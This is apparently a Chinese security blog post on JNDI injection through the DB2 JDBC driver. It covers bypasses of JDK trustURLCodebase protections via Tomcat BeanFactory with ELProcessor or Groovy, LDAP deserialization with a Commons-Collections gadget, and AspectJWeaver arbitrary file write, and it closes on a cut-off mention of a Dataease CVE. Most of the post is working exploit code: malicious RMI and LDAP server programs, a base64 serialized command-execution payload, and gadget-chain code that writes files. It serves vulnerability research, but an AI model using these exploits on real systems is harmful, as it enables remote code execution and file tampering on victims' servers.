DB2 JDBC JNDI注入 导入DB2 JDBC
驱动的Maven
依赖
1 2 3 4 5 <dependency> <groupId>com.ibm.db2</groupId> <artifactId>jcc</artifactId> <version>11.5 .0 .0 </version> </dependency>
JDK
环境为JDK 8u65
1 2 3 4 5 6 7 8 import java.sql.DriverManager;public class DB2JNDI { public static void main (String[] args) throws Exception { Class.forName("com.ibm.db2.jcc.DB2Driver" ); DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://192.168.70.175:8085/coukzXfd;" ); } }
JDNI 高版本JDK Bypass RMI
:JDK <= 6u141, 7u131, 8u121
LDAP
:JDK <= 11.0.1, 8u191, 7u201, 6u211
无任何防护的RMI JNDI
注入堆栈
1 2 3 4 5 6 7 8 9 10 forName:334 , Class (java.lang) loadClass:72 , VersionHelper12 (com.sun.naming.internal) loadClass:87 , VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158 , NamingManager (javax.naming.spi) getObjectInstance:319 , NamingManager (javax.naming.spi) decodeObject:464 , RegistryContext (com.sun.jndi.rmi.registry) lookup:124 , RegistryContext (com.sun.jndi.rmi.registry) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:417 , InitialContext (javax.naming) main:6 , JNDIByPass
RMI JDK >= 8u191 Bypass 环境JDK 8u442
借用上面堆栈信息,防护位置如下所示
1 2 3 4 5 6 7 8 9 10 forName:334 , Class (java.lang) loadClass:72 , VersionHelper12 (com.sun.naming.internal) loadClass:87 , VersionHelper12 (com.sun.naming.internal) --> trustURLCodebase机制 getObjectFactoryFromReference:158 , NamingManager (javax.naming.spi) getObjectInstance:319 , NamingManager (javax.naming.spi) decodeObject:464 , RegistryContext (com.sun.jndi.rmi.registry) --> trustURLCodebase机制 lookup:124 , RegistryContext (com.sun.jndi.rmi.registry) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:417 , InitialContext (javax.naming) main:6 , JNDIByPass
com.sun.jndi.rmi.registry.RegistryContext#decodeObject
com.sun.naming.internal.VersionHelper12#loadClass(java.lang.String, java.lang.String)
trustURLCodeBase
默认为false
。
BeanFactory + ELProcessor 调用堆栈
1 2 3 4 5 6 7 8 invoke:488 , Method (java.lang.reflect) getObjectInstance:211 , BeanFactory (org.apache.naming.factory) getObjectInstance:332 , NamingManager (javax.naming.spi) decodeObject:499 , RegistryContext (com.sun.jndi.rmi.registry) lookup:138 , RegistryContext (com.sun.jndi.rmi.registry) lookup:218 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:417 , InitialContext (javax.naming) main:6 , JNDIByPass
当工厂类为本地依赖中的类时,ref.getFactoryClassLocation() = null
,若指定的classFactory
的类存在于目标本地依赖中,那么就可以绕过第一层防护
继续跟进到getObjectFactoryFromReference
方法中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClassWithoutInit(factoryName); if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) { return null ; } } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); if (clas == null || !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) { return null ; } } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
已知远程加载的路已经被trustURLCodeBase
堵死,只能利用本地加载。
接着调用这个本地类的getObjectInstance
方法进行进一步利用。
factory
的类型为ObjectFactory
,所以对于要找的本地类要实现ObjectFactory
接口
1 2 3 4 5 6 7 8 package javax.naming.spi;import java.util.Hashtable;import javax.naming.*;public interface ObjectFactory { public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception; }
其中org.apache.naming.factory.BeanFactory
符合条件,存在于Tomcat
依赖中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException e) { e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap (); if (ra != null ) { String value = (String)ra.getContent(); Class<?>[] paramTypes = new Class []{String.class}; for (String param : value.split("," )) { param = param.trim(); int index = param.indexOf(61 ); String setterName; if (index >= 0 ) { setterName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { setterName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException ("Forced String setter " + setterName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = (RefAddr)e.nextElement(); String propName = ra.getType(); if (!propName.equals("factory" ) && !propName.equals("scope" ) && !propName.equals("auth" ) && !propName.equals("forceString" ) && !propName.equals("singleton" )) { String value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = (Method)forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } } else { ...... } } } return bean; } } catch (IntrospectionException ie) { ...... } catch (ReflectiveOperationException e) { ...... } } else { return null ; } }
通过构造特定payload
最终在method.invoke(bean, valueArray);
执行恶意代码
恶意RMI Server
端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef ref = new ResourceRef ( "javax.el.ELProcessor" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "bitterz=eval" )); String payload = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" + ".getEngineByName(\"JavaScript\").eval(" + "\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")" ; ref.add(new StringRefAddr ("bitterz" , payload)); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); System.out.println("Server Started!" ); } }
BeanFactory + GroovyClassLoader groovy.lang.GroovyClassLoader#parseClass(java.lang.String)
方法的主要功能是将一段Groovy
代码动态编译成Java
对象并返回
当运行下面这段脚本时将执行恶意代码
1 2 3 4 @groovy .transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("calc" ). }) def x
@groovy.transform.ASTTest
是Groovy
提供的注解,用来在编译期间执行一段代码。
完整恶意RMI Server
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.jndi.rmi.registry.ReferenceWrapper;import org.apache.naming.ResourceRef;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); ResourceRef ref = new ResourceRef ( "groovy.lang.GroovyClassLoader" , null , "" , "" , true , "org.apache.naming.factory.BeanFactory" , null ); ref.add(new StringRefAddr ("forceString" , "text=parseClass" )); String payload = String.format("@groovy.transform.ASTTest(value={\nassert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef text\n" , "open -a Calculator.app" ); ref.add(new StringRefAddr ("text" , payload)); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Exploit" , referenceWrapper); System.out.println("Server Started!" ); } }
经测试,JDK11
和JDK17
都可以打
LDAP JDK >= 8u191 Bypass 无防护堆栈调用如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 start:1007 , ProcessBuilder (java.lang) <init>:-1 , AnyGetterWriter42e142f2624640b4b2c13af73778defb (org.apache.beanutils.coyote.ser) <clinit>:-1 , AnyGetterWriter42e142f2624640b4b2c13af73778defb (org.apache.beanutils.coyote.ser) forName0:-1 , Class (java.lang) forName:348 , Class (java.lang) loadClass:72 , VersionHelper12 (com.sun.naming.internal) loadClass:87 , VersionHelper12 (com.sun.naming.internal) getObjectFactoryFromReference:158 , NamingManager (javax.naming.spi) getObjectInstance:189 , DirectoryManager (javax.naming.spi) c_lookup:1085 , LdapCtx (com.sun.jndi.ldap) p_lookup:542 , ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177 , PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:94 , ldapURLContext (com.sun.jndi.url.ldap) lookup:417 , InitialContext (javax.naming) main:7 , JNDIByPass
同理利用trustURLCodeBase = false
来堵死了远程加载恶意类的路。
但在 8u191 <= JDK < 某版本(待测试,已知8u442无效)
反序列化漏洞调用堆栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 start:1007 , ProcessBuilder (java.lang) exec:620 , Runtime (java.lang) exec:485 , Runtime (java.lang) <clinit>:15 , attack newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) newInstance:442 , Class (java.lang) getTransletInstance:455 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) newTransformer:486 , TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) <init>:64 , TrAXFilter (com.sun.org.apache.xalan.internal.xsltc.trax) newInstance0:-1 , NativeConstructorAccessorImpl (sun.reflect) newInstance:62 , NativeConstructorAccessorImpl (sun.reflect) newInstance:45 , DelegatingConstructorAccessorImpl (sun.reflect) newInstance:422 , Constructor (java.lang.reflect) transform:106 , InstantiateTransformer (org.apache.commons.collections.functors) transform:123 , ChainedTransformer (org.apache.commons.collections.functors) get:158 , LazyMap (org.apache.commons.collections.map) invoke:77 , AnnotationInvocationHandler (sun.reflect.annotation) entrySet:-1 , $Proxy0 (com.sun.proxy) readObject:444 , AnnotationInvocationHandler (sun.reflect.annotation) invoke0:-1 , NativeMethodAccessorImpl (sun.reflect) invoke:62 , NativeMethodAccessorImpl (sun.reflect) invoke:43 , DelegatingMethodAccessorImpl (sun.reflect) invoke:497 , Method (java.lang.reflect) invokeReadObject:1058 , ObjectStreamClass (java.io) readSerialData:1900 , ObjectInputStream (java.io) readOrdinaryObject:1801 , ObjectInputStream (java.io) readObject0:1351 , ObjectInputStream (java.io) readObject:371 , ObjectInputStream (java.io) deserializeObject:531 , Obj (com.sun.jndi.ldap) decodeObject:239 , Obj (com.sun.jndi.ldap) c_lookup:1051 , LdapCtx (com.sun.jndi.ldap) p_lookup:542 , ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177 , PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205 , GenericURLContext (com.sun.jndi.toolkit.url) lookup:94 , ldapURLContext (com.sun.jndi.url.ldap) lookup:417 , InitialContext (javax.naming) main:7 , JNDIByPass
在com.sun.jndi.ldap.Obj#decodeObject
中有这样一个判断
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static final String[] JAVA_ATTRIBUTES = new String []{"objectClass" , "javaSerializedData" , "javaClassName" , "javaFactory" , "javaCodeBase" , "javaReferenceAddress" , "javaClassNames" , "javaRemoteLocation" };static Object decodeObject (Attributes var0) throws NamingException { String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4 ])); try { Attribute var1; if ((var1 = var0.get(JAVA_ATTRIBUTES[1 ])) != null ) { ClassLoader var3 = helper.getURLClassLoader(var2); return deserializeObject((byte [])var1.get(), var3); } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7 ])) != null ) { return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2 ]).get(), (String)var1.get(), var2); } else { var1 = var0.get(JAVA_ATTRIBUTES[0 ]); return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2 ]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2 ]) ? null : decodeReference(var0, var2); } } catch (IOException var5) { NamingException var4 = new NamingException (); var4.setRootCause(var5); throw var4; } }
会判断序列化数据是否为空,若不为空,则调用com.sun.jndi.ldap.Obj#deserializeObject
进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private static Object deserializeObject (byte [] var0, ClassLoader var1) throws NamingException { try { ByteArrayInputStream var2 = new ByteArrayInputStream (var0); try (Object var20 = var1 == null ? new ObjectInputStream (var2) : new LoaderInputStream (var2, var1)) { Object var5 = ((ObjectInputStream)var20).readObject(); return var5; } catch (ClassNotFoundException var18) { NamingException var4 = new NamingException (); var4.setRootCause(var18); throw var4; } } catch (IOException var19) { NamingException var3 = new NamingException (); var3.setRootCause(var19); throw var3; } }
恶意LDAP Server
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import java.net.InetAddress;import java.net.URL;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import com.unboundid.util.Base64;public class LDAPDeser { private static final String LDAP_BASE = "dc=t4rrega,dc=domain" ; public static void main ( String[] tmp_args ) { String[] args=new String []{"http://127.0.0.1/#Deserialize" }; int port = 7777 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new LDAPDeser .OperationInterceptor(new URL (args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "foo" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaSerializedData" , Base64.decode("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" )); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
LDAP + CC1
在8u442
测试时发现已经修复,如下所示
利用VersionHelper12.isSerialDataAllowed()
进行防护,默认为false
所以高版本利用一般都是RMI
AspectJWeaver 任意文件写 调用链如下所示:
1 2 org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put -> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
put
方法中接受两个参数,并调用writeToPath
方法
跟进writeToPath
方法
将传入的key
拼接到this.folder/
后组成fullPath
,将value
的值写入fullPath
所在文件中
this.folder
可以利用反射来赋值
简单利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.reflect.Constructor;import java.util.HashMap;public class AspectJWeaverEvil { public static void main (String[] args) throws Exception { Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clazz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); HashMap map = (HashMap) constructor.newInstance("/Users/gehansheng/Desktop/Java安全/漏洞复现/dataease/DB2/tmp" , 123 ); map.put("1.txt" , "attack" .getBytes()); } }
成功写入文件
AspectJWeaver 反序列化利用 触发任意文件写的本质是调用org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put
AspectJWeaver 1.9.21.1 + Commons-Collections 3.2.1 可以利用CC6
那条链,调用链如下所示:
1 2 3 4 5 java.util.HashMap#readObject ->org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode -> org.apache.commons.collections.map.LazyMap#get ------- 以上为CC6调用链 -> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#put -> org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap#writeToPath
完整利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class AspectJWeaverEvil { public static byte [] serialize(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(object); oos.flush(); oos.flush(); return byteArrayOutputStream.toByteArray(); } public static Object deserialize (byte [] bytes) throws Exception{ ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream (bytes); ObjectInputStream ois = new ObjectInputStream (byteArrayInputStream); return ois.readObject(); } public static void main (String[] args) throws Exception { Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clazz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); HashMap map = (HashMap) constructor.newInstance("/Users/gehansheng/Desktop/Java安全/漏洞复现/dataease/DB2/tmp" , 123 ); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer ("deserialize attack" .getBytes())); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "1.txt" ); HashMap hashMap = new HashMap (); hashMap.put(tiedMapEntry, "KaGty1" ); deserialize(serialize(hashMap)); } }
成功写入文件
su18
师傅利用的是HashSet
,后续会补上利用代码,不多赘述。
AspectJWeaver 1.9.21.1 + Commons-Collections 4.4 与Commons-Collections
的不同点在LazyMap
类中,移除了decorate
方法,但是无伤大雅,取而代之的是
在原利用链代码中修改如下代码即可
1 2 3 Map lazyMap = LazyMap.decorate(map, new ConstantTransformer ("deserialize attack" .getBytes()));Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer ("deserialize attack" .getBytes()));
成功写入
给高版本Commons-Collections
多了一种利用方式。
CVE-2025-57773 Dataease db2 任意文件写 可以看到对DB2 jdbc url
